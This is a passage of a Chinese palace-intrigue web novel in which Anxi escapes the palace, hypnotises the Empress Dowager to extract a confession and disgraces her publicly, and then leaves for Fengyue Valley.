“好一个主仆情深!”江向晚从上方的树干上一跃而下,冷冷的瞧着她们。 这个恶心的女人还真是阴魂不散! 江向晚慢慢走近安文夕道:“你在这夏宫待不下去就想一走了之,天下间还没有这么便宜的事情!” 江向晚拍了拍手,她的身后蓦地出现了一排黑衣人,安文夕眸光一凛,这些黑衣人给她的感觉像极了从清河回宫的路上遇到的那批刺客! “你就是要走,至少要将你欠我的东西留下!” 看着安文夕毫无触动的脸色,江向晚的声音陡然变冷道:“怎么,不记得了?” “你欠我一颗心!”江向晚双眸凌冽,在雪地里,她手中的青霜剑映出冰冷的光来。 她还没有来得及出剑,惊魂从安文夕身后现身,蓦地拔出了剑,剑锋却对着江向晚。 “你果然还是追来了,惊魂,别让我更加讨厌你!” “晚儿,你竟然出动了江家的暗人!” 安文夕可不会相信惊魂会好心的救她,当即抽出了七节鞭,对上了江向晚的青霜剑。 就在这时,小树林上空却突然降下一位蒙着黑面巾的男子和几个背着羽箭的黑面人,迅速的加入了战斗,和江向晚带来的暗人打成了一片。 “夕儿,到我身后来。”男子声音清朗如魅。 安文夕神情一滞,这个声音她再熟悉不过。 第85章 以身相许 第八十五章 以身相许 由于蒙着黑面巾男子的加入,江向晚带来的人渐渐吃力起来,安文夕慢慢将江向晚逼至角落里。 江向晚嘴角勾起一抹狠戾的笑来,“安文夕,这是你自找死路,就别怪我无情!” 安文夕微勾了唇,手里的七节鞭更加凌厉起来,紫云鞭法,瞬息万变,招招毒辣。 火红的鞭尾卷起了江向晚手中的青霜剑,狠狠地抛了出去,江向晚一脸不可置信的看着安文夕。 骄兵必败,这江向晚太浮躁了! 安文夕眉宇之间添了抹戾气,毫不客气的甩起鞭子向江向晚身上砸去。 “啊!” “这第一鞭是那日在清河你对我做的一切!”安文夕话音未落,又抽上去了一鞭。 “这第二鞭是你故意让那只白云貂抓伤了我的手!” “这第三鞭是在百水崖你为了陷害我,故意坠下悬崖!” 这三鞭安文夕用尽了所有的力气,每一鞭都深可透骨,鞭尾甩出一串滚热的血珠来。 “晚儿,你没事吧?”惊魂立即赶到江向晚身边,将江向晚护在身后,怒视着安文夕。 安文夕冷哼道:“就凭你还想取我的心,不自量力!”她嫌弃的将七节鞭上的血渍擦掉。 “安文夕,你以为你能走得掉么?”江向晚不顾身上的鞭伤,一把夺过惊魂手中的长剑刺向安文夕。 “夕儿……”刚才的黑面巾男子足尖轻点,掠至安文夕面前,长臂将她揽至怀中,然后停在树枝之上。 “主子,后面有人来了。” 男子黑瞳深深,淡吐道:“撤!” 下方的男子看了眼江向晚犹豫道:“主子……” “撤!” 揽着安文夕的男子声音刚落,众人便不见了踪影。 江向晚双眸含恨的盯着刚才安文夕离开的地方,不甘心的咬牙切齿道:“安文夕,我绝不会放过你,绝不会!” “噗——” 江向晚一阵血脉翻涌,口中涌出鲜血来,身子慢慢往后倒去。 “晚儿……”惊魂眉头紧锁,一把抱起了她。若是她再这么冲动暴躁的话,只怕连帝王引也保不住她了! 北宫喆不知不觉走到了未央宫,宫殿里依旧灯火如旧,只是没有了她的未央宫,似乎更加冷清了些。 院子里的积雪尚未清除,应该是她故意留下的吧,她那么喜欢落雪。脚踩上去发出“咯吱”的声音,十分的悦耳。 走进内殿,虽然掌着灯,但却空无一人,连箐姑姑和香茗以及她下午从长乐宫救回来的陌姑姑全都不见了踪影,她连身边的人都已经安排好了去向,只怕是再也不想踏进夏宫了。 可是她已经是他北宫喆的女人,她还想逃到哪里去? 柜子里的衣服全部整整齐齐的叠放着,好像这些素静的衣服她一次也没有穿过,却独独偏爱那大红的罗裙。 北宫喆目光依次划过香几、香炉、屏风,最后落到床榻上,他走过去坐了上去,这里似乎还残留着她的体温。 北宫喆垂眸之时,不经意间瞥到了香几下面的同心结,他立即俯身捡了起来。 大红的同心结上面还悬着红丨豆,每年她都会在他生辰送上这样一个礼物,这个,就是她给他准备的惊喜么?他紧紧的将同心结握在了手中。 “属下参见皇上。”青玄立在北宫喆身侧复命道。 北宫喆看着手心的同心结道:“她走了?” “是。” “你故意将她放走了?”北宫喆声音微冷。 “是,请皇上责罚。”青玄沉吟道,他知道他骗不了皇上,还不如坦诚直言。 “罢了,就是朕留住她的人也留不住她的心。”就好像他终于得到了她的人,却逐渐遗失了她的心。 北宫喆起了身,渐渐朝殿外走去,手中一直握着那同心结。 红烛摇曳,洒落了一捧烛泪,北宫喆缓缓阖上未央宫主殿大门。 “即日起,夏宫再无瑾淑妃。” 这一声悲怆凄凉。 青玄走在北宫喆身后,看着前方那道伟岸挺拔的身影尽是萧寂。 是夜,月朗星疏,寒淡的月光洒在雪白的积雪上,骤添了几分冷意,北风呜咽着刮,卷起房顶上尚未消融的积雪,撒下一阵雪沫,寒意料峭。 这注定是一个不平凡的夜晚,这一晚发生了太多的事情,听说曹太后刚到夏宫不久,所居的长乐宫便被一场大火几乎烧掉了一半,通天的火光一直烧了好几个时辰。江小姐带人去擒拿刺客不仅无功而返,反而被刺客所伤。还有那个被大夏新帝荣宠至极的瑾淑妃被皇上秘密赐了一杯毒酒,了结了此生,具体原由好像是那瑾淑妃太过张扬冒犯了太后。 一家平凡的小院子里,在昏黄的灯火摇晃下,映出屋内的几道人影来。 安文夕已经换下了身上的太监衣服,收拾妥当,看着窗边上的那道高大的身影,一时不知道怎么开口。 “夕儿,你来了。”那人听到身后的动静转过身来。 “你,是……玉公子吧。” 那人缓缓扯下了脸上的黑面巾,露出一张极度妖魅的面孔来。 “胭脂,是我。” “那易寒也是你吧。”安文夕犹豫着问道。 “是,易寒是我早些年埋在北襄的一条暗线。” “谢谢你几番相救。” “胭脂,你我之间不需言谢。” “不论怎样,你已经帮了我太多,如果你有什么地方需要我,我一定竭尽所能。”安文夕向来不喜欢欠别人情分,尤其是人情。 那双妖媚的凤眼微眯道:“你若是真的想感谢我,不如——以身相许。” 安文夕闻言一滞,蓦地抬头,看向那双噙着笑意的眸子。 “罢了,我跟你开玩笑呢,你接下来有什么打算?” 安文夕愣了一瞬,还没有想好怎么回答,只听得楚君昱又道:“你若是不想说就算了,你若是什么时候想找我,都可以来这里。” “好。”安文夕对他真诚的笑了笑。 等到安文夕、欢凉和花姑姑接头时,花姑姑已经等候多时了,一行人回到凤青轩已经是丑时,安文夕略作交代,然后洗漱了下便沉沉睡去。 第二日一早,安文夕一袭红衣如魅,长发皆被竖至发顶,脸若白玉,清俊如仙。 白天的凤青轩处在休业状态,鲜有人来,安文夕斜斜的依靠在二楼的栏杆处,这是她一向喜欢的地方,偶尔有路过的姑娘含羞的冲他行礼道:“见过凤公子。” 欢凉也是一袭男装打扮,立在安文夕身侧道:“公主,箐姑姑和香茗已经安排好了,等过阵子再将她们接回凤青轩。” 安文夕微微点点头,“潇湘馆那边,花姑姑安排的如何了?” 潇湘馆是承安一家有名的怜馆,里面的美人环肥燕瘦,应有尽有,是花妈妈早年间收入凤青轩旗下的最大的一家怜馆了。 “花姑姑早就准备完毕,只待着遇到合适的机会将袭匀送到她身边。” 这一等就是半个月,承安的雪一场接着一场,如今已经是第三场雪了。承安地处九州中部,气候不似北襄那么酷寒,冬天却极好下雪。 由于曹太后身体抱恙,来到夏宫一直没有来得及举办接风宴,再拖实在是有些说不过去了,待曹太后身体刚刚好了一些,夏宫里就紧锣密鼓的为她办了接风宴。 这一日,依旧落雪,纷纷扬扬的大雪打着旋儿飘落,整个承安都被披上了一层洁白的纱衣。 虽然天上飘着雪,但大街上的行人仍然不紧不慢的走着,不少茶楼酒肆更是座无虚席,围着暖炉喝着酒。议论着最近京都发生的趣事。 最令人津津乐道的便是瑾淑妃赐死一事,盛宠一时的宠妃突然之间被赐了一杯毒酒,甚至都不曾被葬入皇陵,这其间自然有许多不为人知的秘密,到底是不是因为触犯了太后,已经无从考究。虽然已经过去了一段时间,大街小巷的人们依旧在茶前饭后之余喜欢谈论着自大夏新帝登基以来唯一一件八卦之事。 “公主,这雪下得越发的紧了,撑着伞吧。”欢凉给她递了把伞。 安文夕伸手接了瓣雪花,浅笑道:“不用了,撑伞太麻烦了,这样刚好。” 她今日没有像往常一样穿了耀眼的红裳,反而是一身素静的白衣,自领口到袖口皆绣着繁复的花边,低调又不失奢华。 安文夕远远闻见一股清淡的幽香来,抬头看了眼前方一处精致宏伟的阁楼,上面“潇湘馆”三个透玉镂刻的大字十分耀目。 这里的人不认得她,见到她来,只当是位普通的客人,立即有人迎了上来。 “这位公子,请问是雅间还是……” “雅间。”欢凉不待她说完一口说道。 来人二十岁上下,打扮的艳而不俗,周身反而凸显出一种雍容大气来,被欢凉打断也不恼,笑意盈盈道:“二位公子,请随我来。” 不远处的一座酒肆二楼处,一位身着玄衣、脸上带着半面银色面具的男人将下面的一切尽收眼底,一双锐利的黑眸蓦地眯了起来。 看来这次承安之行,没有白来! 随即将视线放到眼前氤氲着冒着热气的小盏上,对身后人道:“给本王换壶酒来。” “王爷,您身上有伤,不宜饮酒。”一道清丽的女声道。 “无妨!” 紫衣女子无奈的叹了口气,立即吩咐小二换了壶酒上来。 第86章 催眠曹暮烟 第八十六章 催眠曹暮烟 “听说今日咱们馆里来了位特殊的客人。” “哦,那是位什么客人,竟然还如此神秘?” “好像身份极其高贵。”一位身姿若柳,唇红齿白的小倌儿偷偷指了指夏宫的方向。 和他在一起安得另一名男子眼睛一亮道:“不如你我偷偷地去瞧一眼。” “如此贵人岂是你我这种卑贱之人可窥探的?” “贵人又怎么了,来咱们潇湘馆的皆是恩客,再说了你我——也不差么……”说着又搔首弄姿了两下,“说不定那位贵人就能看上你我……” “你们两个歌舞练得如何了,竟然还有工夫在这里说闲话?”引着安文夕上楼的女子听到了这二人的对话怒斥道。 “璃姐姐,我……” 另一个人急忙打断了他的话道:“璃姐姐,我们这就去排练歌舞。” 女子略略点了点头,然后回头对安文夕道:“这位公子,让您见笑了。” “无妨。”安文夕不介意的淡然一笑。 到了雅间,安文夕刚坐下不久,便传来了三声敲门声,欢凉神色蓦地一凛,和安文夕对视了一眼然后径直去开门。 来人粉面含春,唇若三月桃花,人似弱柳扶风,身上的狐裘披风平添几分孱弱,一颦一笑之间尽显我见犹怜。 欢凉扑哧笑道:“没想到那个老太婆喜欢这种调调的。” 安文夕不置可否的笑了笑,身在权力顶峰的女人自然要彰显出自己的至高无上与霸道尊贵来,所以喜欢“病西施”这种类型并不奇怪。 只见袭匀随意的掀了身上华贵非常的狐裘披风,大大喇喇的往雕花扶手椅上一座,还顾自翘起了二郎腿,瞬间那娇花照水、弱柳扶风的气质立即碎成渣渣了。 欢凉好奇的走过去,啧啧称道:“真是妖孽呀,美得不可方物,敢问姑娘姓甚名谁,可有婚配?” 袭匀眸光一敛,立即从椅子上弹了起来,恶狠狠地磨了磨牙,对欢凉咆哮道:“你这个死丫头,老子是纯爷们!纯爷们!”说着狠狠地弹了欢凉一下。 “我说这么久没见,你一见面就欺负我啊!”欢凉捂着额头委屈道。 袭匀白了她一眼随即越过她对安文夕道:“小师妹,你交代的事情,师兄都办妥了。” “都跟你说了多少遍了,你得叫公主!”欢凉不客气道。 “我有叫错么,我们都是一个师父教出来的。” “欢凉,你就让他这么叫吧。”安文夕无奈道,这两个人一见面就掐架。 “小师妹,你随我来。”袭匀脸上恢复了正经道。 不大的雅间内,升着暖烘烘的苏合香,整个房间内弥漫着淡淡的酒气。十几位柔弱可人的小倌儿正伺候着一位雍容华贵的女人,但看一个侧面,那女子生得极为妖媚,斜挑的黛眉透出丝丝妩媚,殷红的唇彰显出成熟女人独具的风味来。 女子面前的茶盏烟雾缭绕,升腾着袅袅茶烟,离得近了,依稀可以闻见薄淡的酒气。那青瓷盏里的是酒,而不是茶水。 那女子像是听到了动静,施施然扭过头来,只见她双目迷丨离,脸上带了几分醉意,看向袭匀,嘴角噙着笑道:“阿袭,你去哪了,哀家想你了。” 这一声,像极了情人间的耳鬓厮磨。而这女子,正是本应该身在长乐宫的曹太后。 阿……阿袭?安文夕和欢凉皆在心底小小的恶寒了一把。 袭匀眼底飞快的划过一抹厌恶,脸上却尽是柔情,柔声道:“烟儿,我这不是来了么?” 这一句差点把欢凉活活给恶心死。 他走过去给曹暮烟重新倒了一杯酒递给曹暮烟道:“烟儿,你喜欢他们么?” “哀家不喜欢,哀家只喜欢你。”曹暮烟说着揽住了袭匀的柳腰。 “你们先退下吧。”袭匀对身旁的怜人说道。 “哀家出来好久了,得回去了,不然沧月该着急了。” 袭匀双眸里佯装带了些生气,撒娇道:“你现在还想着他,我可要生气了。” “阿袭,现在哀家心里只有你,不信你摸摸。”曹暮烟拉着袭匀的手往她心口摸去。 眼前这一幕,简直是一位中年大婶正摧残着一位温润的少年,实在是太荼毒人的眼睛,欢凉微微别开了头,以手掩口咳嗽了两声:“咳咳……” 袭匀将视线放到安文夕和欢凉身上,然后对曹暮烟道:“烟儿,你不是说最近总是失眠么,我特意找了这位公子帮你调理调理。” 曹暮烟这才将目光放到安文夕身上,嘴角的笑意渐深,“这位公子也生得好生俊逸。” 她话音刚落,便传来袭匀酸酸的声音道:“怎么,烟儿喜欢他?” “喜欢,不过,哀家还是最喜欢你。”曹暮烟的眼神更加迷丨离了几分,“自从那晚宫宴上见了你,哀家便深深地喜欢上了你。” “咱们什么时候开始?”安文夕忍不住打断她,这曹太后恶心起来还真是超过了她的想象。 “就现在吧,烟儿你不要怕,尽量放松。” “现在你来盯着这枚铜钱,要专心,眼睛不要动。”安文夕吩咐道,她哪里是来治疗曹太后的失眠,她不过是来催眠曹太后的。 “现在,你的眼睛已经累了,请闭上眼睛。” 曹暮烟双目变得更加游离,听见安文夕的吩咐,慢慢阖上了眼睛。 “放松眼皮,放松全身,你现在就要睡了。” 欢凉见曹暮烟已经闭上了眼睛,刚想往她面前的杯子里加点东西之时,曹暮烟蓦地睁开眼睛,欢凉心中顿时一惊。 曹暮烟看着袭匀道:“阿袭,哀家要靠着你睡。” “好。”袭匀微微揽住了她。 曹暮烟这才又闭上了眼睛,仿佛已经渐渐进入睡眠。 欢凉飞来的将手里的药全部倒进了曹暮烟面前的酒盏里。 “现在,你可以醒来了。”安文夕慢慢呼唤道。 曹暮烟再次睁眼,目光有些呆滞无神,右手下意识的握紧了身边的袭匀。 袭匀将酒水递给她,曹暮烟没有拒绝,先是小小抿了一口,然后一饮而下。 “告诉我,你是谁?” “我是曹暮烟,曹家的二小姐。” “曹家?”安文夕一滞,曹家在前夏朝时是世家大族,可是在十五年前,不知为何,曹家的人突然全部失踪,就连曹家的曹公府也一夜化为了灰烬。 “是。”曹暮烟双眸带了些恨意,自顾自道,“你一定好奇曹家家大业大,为何会在一夜之间消失的无影无踪。” “是你做的?” “当然是我做的,他们都该死!”曹暮烟脸上浮现一抹解恨来。 “我原是曹家的二小姐,只因生我的姨娘是下人,就注定了我生来低人一等。平时苛待也就罢了,为什么我那大姐连我喜欢的人都要抢?明明是我先遇到的安莫霖,凭什么大姐喜欢,我就必须的让给她?”曹暮烟说话之时,面孔因愤怒微微有些狰狞。 半晌她慢慢平静下来,脸上浮现一抹娇羞来,“我依然记得那日,我游湖落水,是他救了我。他说‘姑娘,你家在何处,在下送你回去。’我们一见钟情。可是后来选秀,母亲为了大姐,李代桃僵将我送进宫中,生生拆散了我和安郎。” “那后来呢,你可认得莫虞?” 提到莫虞二字,曹暮烟眼底的恨意肆意翻涌,然后她缓缓道:“入了宫不久,我便拥有了盛宠,可是好久不长,凌阡陌那个贱人怀了龙种,母凭子贵做了贤妃,皇上便渐渐将我给忘记了,我便设计流掉凌阡陌的孩子,结果她竟然对我用刑,几乎用遍了所有的刑法逼我招供,看我这里的伤疤,就是那时留下的,那个贱人竟然想毁了我的容!”曹暮烟指着自己眼角的伤疤对袭匀道。 “皇上一怒之下,将我贬成了宝林,这时宫外却传出了安莫霖向莫虞提亲的消息。那安莫霖明明就是喜欢我的,怎么可以向别的女人提亲呢?后来我便向皇上说莫家嫡女倾国倾城,皇上就急不可待的将莫虞纳进了宫中。哈哈哈,我的东西,就是我拥有不了,别人也别想得到!”曹暮烟恶狠狠道。 “你简直是个疯子!”安文夕咬牙。 “对,你说得对,我就是一个疯子,大夏被灭,我跑去求安莫霖带我走,他不仅拒绝了我,还将莫虞那个贱人带走了,我怎么甘心!后来……后来,来了好多的人,他们……扒了我的衣服……一遍一遍……”曹暮烟像是想起了什么不堪的事情,痛苦的抱着头。 “我拿自己的灵魂南昭的祭司做了交易,从此我变成了一个魔鬼,但凡伤害过我的人就要付出百倍的代价!所以曹公府没了,凌阡陌那个贱人不仅被我毁了容,她的孩子也被我抢走了,还有莫虞——” “她竟然做了安莫霖的皇后,我怎么能放过她,给她下了息子魂殇都是便宜了她,她死了我也要将她挫骨扬灰!” “你——”安文夕欲一把抽出欢凉腰间的长剑,被欢凉一把按住,示意她不要冲动。 “真是个狠毒的女人。”欢凉愤愤道。 安文夕瞥了眼一旁的沙漏,冷声问道:“那我问你,你取的安文夕的心头血放哪了?” 第87章 一场好戏 第八十七章 一场好戏 “安文夕?”曹暮烟一滞,然后双眸又蓄满了恨意道,“莫虞的那个贱种?她竟然烧了哀家的长乐宫,哀家绝不会放过她!” “烟儿,她的心头血呢?”袭匀声音中多了分急切来。 “我放在……”曹暮烟凝神思考着,“我也不太记得了。” “公子,大事不好了!”刚才带领安文夕去雅间的女子急冲冲进来道,眉宇之间多了抹焦急。 “何事?” “有人来潇湘馆闹事,那人感觉像是个太监,但好像又不是,他好像在找什么人,如今正一间一间的挨个找呢,馆内的打手有些拦不住,需要出动……” “不必了,我去瞧瞧。”袭匀放开了曹暮烟。 感觉是太监,又好像不是,那不就是沧月了么。 正说话间,房门被人狠狠地踢开,门口的两个打手正痛的龇牙咧嘴,看向女子的神色多了分赧色,“璃姐,我们……我们拦不住!” 沧月褪下了他那身万年不变的太监服,着了身灰色长袍,满脸阴鸷,双眸内盛满了冰霜,待看到醉卧一旁的曹暮烟,神色一松。 “烟儿,你怎么醉成了这幅样子?” 沧月身形一晃,已将曹暮烟揽至怀中,双目阴毒的看向袭匀。 “沧月,你怎么来了?”曹暮烟似醉非醉的看着他,随即勾唇一笑道,“难不成你也来这里找乐子?哈哈哈……” 此言一出,沧月的脸立即黑成了锅底,对袭匀恶狠狠道,“你怎么带她来这种地方!”然后他的目光鄙夷的在安文夕和欢凉身上扫过。 袭匀挑眉,“这种地方?” “下作的东西!”沧月冷哼。 “呵……下作?”袭匀慢慢走近沧月,吐气如兰,“那也是她喜欢!” “你——”沧月气的一句话梗在喉间。 “再说了,我将烟儿带到这里是为了给她治疗失眠的。” “我说过,你不许叫烟儿!”沧月咬牙切齿道。 曹暮烟睁开迷丨离的双眼对沧月道:“你太凶了,都吓到袭匀了!” 沧月双眸中一片厉色,看向曹暮烟的神色之间多了抹戚然。 “烟儿,你是喜欢阿袭还是喜欢他?”袭匀直接无视沧月那铁青的脸开始撒娇道。 “哀家自然是喜欢你的。”曹暮烟指尖在袭匀脸上流连。 “那你喜欢这里么?” “喜欢,只要阿袭喜欢,哀家就喜欢。” “那我们以后常来这里可好?” “哀家都听阿袭的。”曹暮烟已经从沧月怀中起身,慢慢揽住袭匀的柳腰。 “烟儿,你……”沧月痛心道,“我带你回宫。” “烟儿……”袭匀恋恋不舍得拉住曹暮烟的衣角。 “阿袭,哀家改日再来。” “好。”曹暮烟和袭匀握手话别,沧月急不可待的揽住曹暮烟,足尖轻点,立即跃至楼下。 袭匀看了眼映璃道:“下面的都安排好了么?” 映璃点了点头道:“若是没有什么事情,我就退下了。” 映璃刚走,袭匀走过去扯了扯欢凉道:“臭丫头,师兄我的演技如何?” “喂喂喂,我告诉你,你别拿碰过那个老妖婆的脏手碰我!”欢凉立即跳脚道。 “我手哪里脏了,你闻闻香着呢!” “阿袭?”欢凉一把打掉他的手,学着曹暮烟的口气对他坏笑道,“你有没有和那个老妖婆那个……就是假戏真做啊?” “人家可是为你守身如玉呢。”袭匀嗲声道。 “行了,我都要看不下去了。一会就有好戏了,不如找个地方去看戏?”安文夕提醒道。 “小师妹,这是个好主意,走了。” “赶紧走,这间屋子里乌烟瘴气的。”欢凉撇撇嘴。 此时将近日暮,潇湘馆逐渐热闹起来,大厅内升起了璀璨的灯火,不少达官贵人开始了今夜的纸醉金迷。 沧月目光一扫,竟然看到有些熟悉的面孔,他眸光一敛,宽大的衣袖遮住曹暮烟的脸。 动作之快,如风驰电掣。 可惜,还是晚了。 “我好像看到了太后娘娘?”一位中年男子指着曹暮烟道。 “太后?她怎么会来这里?”那人眼里皆是不可置信。 “你看,那个背影好像是沧总管。” 沧月还没有来得及出了潇湘馆,身前突然有人大喊道:“太后娘娘!” 整个大厅顿时炸开了锅,众人纷纷朝沧月看去,沧月眸光微敛,刚想提气,怀里的人一把挥开刚刚盖在头上的衣袖,露出整张脸来。 “沧月,到了么?” “嗬!”周遭传来一阵倒吸气声。 果然是太后娘娘!她来这里…… 以前早有耳闻太后娘娘yin乱后宫,不曾想她竟然正大光明的来怜馆寻芳问柳,这样的女人怎能担得起太后二字来? “太后娘娘千岁千岁千千岁!”不知从哪里传来了一阵惊呼声。 曹暮烟听到声音慢悠悠的从沧月怀中起身,凤眼妖媚,翘起兰花指指着周围道:“都平身吧,不必多礼!” “烟儿,我们走!”沧月此时看着周围带有异样的眼神恨不得将曹暮烟抗走。 “哀家不走,哀家要阿袭来陪哀家。”曹暮烟竟然起身挨个去找,双手毫无顾忌的在一个个小倌脸上摸来摸去。 “都不是,阿袭呢,哀家的阿袭呢?”曹暮烟有些颓唐的跌坐在地上。 “烟儿……”沧月不得已上前点了曹暮烟的睡穴,立即揽住她的腰,头也不回得出了潇湘馆。 这个地方,他真是一刻也待不下去了。 二楼凭窗而望的安文夕意犹未尽的抿了口茶水,淡淡道:“这戏么,还是太淡了。” “淡?”袭匀惊道。 “罢了,经过今天一事,曹太后也该是恶名昭著了!” “可是公主的心头血还是不知道下落。” “放心,这件事包在我身上。”袭匀道。 “不。”安文夕摇了摇头,“曹太后是个警觉的人,经此一事,她势必会有疑心。” “小师妹,你就对师兄我这么没信心?” 安文夕这不是第一次和曹太后交手,刚才又知道了当年曹太后做下的事情,对于曹太后的手段为人,心中已经明了。 “心头血不重要,你要保证全身而退。” “好,等我取了心头血就去凤青轩找你们。” “我们这就要去枫月谷了。” “去枫月谷?那正好我也去出去走走。”袭匀眼中闪现一抹兴奋。 欢凉撇嘴道:“你办完事赶紧上山吧。” “我说你个臭丫头,你怎么用完了我,就想着将我打发走?山上就我自己一个人,无聊死了,这一次我打死也不走!” “反正你不许跟着我们!” 这两个人又开始了,安文夕无奈的抚了抚额,看了眼欢凉又把到口的话咽了下去,缓步出了房间,她自己已经活在了仇恨里,那么就希望欢凉一直这样快乐下去吧,她不应该去背负那么多。 也许,她猜错了呢,欢凉一直由花姑姑抚养长大,不知道这件事花姑姑又知道多少?想到这里,安文夕不免加快了步伐。 回到凤青轩,安文夕便打发了欢凉,和花姑姑来到了密室。 对于当年的事情,花姑姑一直还有记忆。 “当年,皇上的暗卫将她交给我时,她还很小,一张小脸皱巴巴的,看样子像是刚出生不久。” 花姑姑陷入回忆之中,“当时,我问他这是谁家的孩子,他说是捡来的,让我好好将她带大,我也没有多想,现在想想也不是不可能。” 十五年前,曹家被灭,而欢凉现在刚好十五岁! “我想知道真相的人现在都已经不在了。” “也许,欢凉不知道会更好,花姑姑,这件事先不要告诉欢凉。” “公主放心,属下知道该怎么做。” 安文夕刚刚出了密室,欢凉忙迎了上去道:“公主,玉公子来了,正在二楼香阁内。” 他怎么来了? “你去告诉他,凤青轩早已没有了胭脂醉。” “公主,我已经告诉他了,他说他是来寻凤公子的。” 安文夕闻言心蓦地一跳,难道他知道了? “公主,不如我去将他打发了吧。”欢凉看着安文夕脸色不对,忙说道。 “不必了,带我去瞧瞧。” 她几乎从来没有用凤公子的身份,他又是怎样知道的? “见过凤公子。” “起来吧,送壶茶来。” “玉公子,听说你找我。”安文夕变了嗓音说道。 楚君昱紫袍依旧,一袭墨发全部流泻在后背之上,此时正拥着暖炉浅啜着茶水,听到安文夕说话,起身道:“久仰凤公子大名,今日不知是否有幸听得凤公子抚琴一曲?” 她幼年便扮作凤公子,随着晟哥哥周游各国,更是因一曲《凤求凰》而少年成名。 “不知玉公子可知道我的规矩?” 她从不轻易奏琴,想听她弹琴的人必须要拿东西和她交换,这是她一向的规矩。 北宫喆在大安为质三年,从不知道她就是那个盛名九州的凤公子。 “凤公子,你看这把玄冰骨扇是否可以换凤公子一曲?” “自然可以。”安文夕示意一旁的侍女将扇子收下,没想到这把扇子最终还是到了她的手中。 “将我的琴取来。”她对一旁吩咐道。 “不知玉公子想听什么曲子?” “凤求凰!”楚君昱妖灼的眉目轻扬。 安文夕握着茶盏的指尖一颤,双眸蓦地看向对面双眸含笑的楚君昱。 第88章 别再拒绝我好么? 第八十八章 别再拒绝我好么? 在安文夕葱白指尖穿梭在七弦琴上,琴声委婉而连绵,四琴声绕过丛林,犹如清泉在石上静流,缓缓而幽逸。 楚君昱微闭了眼睛,右手指尖摩挲着青瓷杯沿,室内烧着暖暖的炭火,烛火不时发出噼里啪啦之声。 这一刻,时间仿佛静止一般。 以至于多年后再忆起这幕,都觉得十分的温暖。 一曲终了,楚君昱也适时的睁开了眼睛,赞道:“世人常言能得凤公子一曲,千金不换,此言果然不假。” “玉公子谬赞了。” 接下来几日,玉公子每到入幕都回来凤青轩,煮一壶茶,再听她弹奏一曲。两个人似乎又回到了初识在凤青轩的日子。 安文夕觉得和楚君昱在一起总是有一种轻松的感觉。 自从那日曹暮烟从潇湘馆出去,她去怜馆寻芳问柳的消息便不胫而走,各种各样的流言四处迭起,不久又有人还传言曹太后和身边的近侍yin乱后宫,众人不禁嘘唏不已,然而面对这些不堪的流言蜚语,当事人曹太后丝毫不为所动,依旧我行我素,每天都要从外面招来小倌,夜夜笙歌。 沧月从信鸽上取下纸条递给曹暮烟道:“烟儿,六王爷来信了。” 曹暮烟捧着手炉,接过纸条看后,脸色大变,将手中的手炉狠狠地摔到地上怒道:“他算是个什么东西,竟然威胁起来哀家了!” 如今她是皇太后,他和北宫喆皆是她手中的一枚棋子罢了。在这件事上,就是北宫喆也没有说什么,偏生这个不知好歹的六王爷几番对她指手画脚,还拿他们之间的合作关系来威胁她,真是不自量力! “烟儿,太医都已经说了你不宜生气,这火气怎么又上来了?”沧月柔声哄道。 “你叫阿袭过来。”曹暮烟将手中的纸条狠狠碾碎。 “烟儿,如今正在风口浪尖上……” “怎么,现在连你也要忤逆我么!” “烟儿……” “还不快去!” 沧月无声地叹了口气,只要她开心就好,其他的事情都由他来做。 近来,朝堂之上许多言官纷纷上谏,联名上奏弹劾起来曹太后。而北宫喆在这件事却采取了睁一只眼闭一只眼的态度,任其发展。 北宫喆看着桌案上逐渐要堆成山的奏折,眸光如潭幽深,这曹太后真是不知死活,若是继续这样下去,到时候谁废黜谁还不一定呢! 江向晚端着一碗热气腾腾的燕窝羹来到琼华殿书房,对北宫喆浅笑道:“喆,吃点宵夜吧。” 北宫喆没有抬头直接道:“你先放着吧。” 江向晚径自绕道北宫喆身后,“喆,我帮你捏捏肩吧。” 北宫喆闻言手中的朱笔一顿,“不必了,天色不早了,你先回去睡吧。” “喆,你这是……在赶我走?”江向晚眼底掠过一抹受伤。 “晚儿,你身上有伤,朕不是说了让你好好养着身子么,你这段时间就不要来琼华殿了。” 江向晚从背后一把抱住北宫喆,声音中带了丝柔意,“喆,你不要赶我走,今晚就让我留下好不好?” 最后一句几近乞求。 北宫喆不动声色的扯开江向晚的手道:“晚儿,你知道的,这琼华殿从来不留女人。” 不留女人? 江向晚嘴角勾起凄凉的笑意,“那安文夕呢?” 北宫喆手中的朱笔应声而断,双眸里渐渐带着些冷意,刚想转身,却再次被江向晚抱住道:“喆,别再拒绝我好么?” “晚儿!”北宫喆的声音陡然冷了几分,“即日起,朕特许你回府养伤。” 江向晚身子蓦地一僵,他真的要……赶她走? “喆,你我青梅竹马,我从小就希望能够嫁给你,现在你纳了一个又一个女人,可独独不肯娶我,这是为什么?”江向晚只觉得眼睛酸的厉害。 “晚儿,你和她们不一样。” “是,我和她们不一样,我以前也是这样认为,她们不过是你为了平衡前朝势力才纳进宫的,我才是你要娶的那一个,可是我不容易复活了,你却偏偏让我做了女官,这样尴尬的身份……” “你当真想成为朕的妃子?” “我……”她想成为他的后,唯一的后,而不是那所谓的妃子。 “既然你想,那朕就成全你,让你成为她们之间的一员。”北宫喆语气变得淡漠。 “喆,我不要成为她们中的一员,我要的是你能够疼我爱我……”江向晚脸上划过温热的液体,她抓着北宫喆的衣袖道,“难道你从来就没有喜欢过我么?” 她不相信,她陪了他整整十五年,他不可能对她没有一点点的喜欢。 北宫喆扯过握在江向晚手里的衣角,看着她悲怆的神色,慢慢转过身去,他一直都拿她当做亲人,当做妹妹,可从未对她有过别的想法,喜欢她的一直都是惊魂。 他的转身已经代表了默认,看着那道挺拔的明黄背影,她觉得这个男人离她越来越远,她再也抓不到他了。 “你为什么就不能喜欢我,为什么?” 她的十五年却比不上那个人的三年,她好不甘心呐! 北宫喆眸光一敛,高声道:“青玄送江小姐回江府。” 江向晚垂下了眼睑,淡淡道:“好,我回家好好养伤。” 她尽量让自己看起来没有那么狼狈,既然不能再留到宫里,那她想留下最后的尊严。 安文夕将曹暮烟的声名搅得一团乌烟瘴气之后,便踏上了前往枫月谷的路途。 枫月谷位于大安和北襄的边界处,安文夕和欢凉一路北行,天气也越来越冷,幸好马车里足够温暖,这一路行来,也不算是太艰难。 为了行路方便,也为了避人耳目,安文夕和欢凉皆是男装。 她走得匆忙,没有来得及跟楚君昱道别,估计今晚他到凤青轩就会发现她不见了,亦如那日的胭脂,都是不告而别。 “二位公子,邹城到了。”赶车的小哥对车内说道。 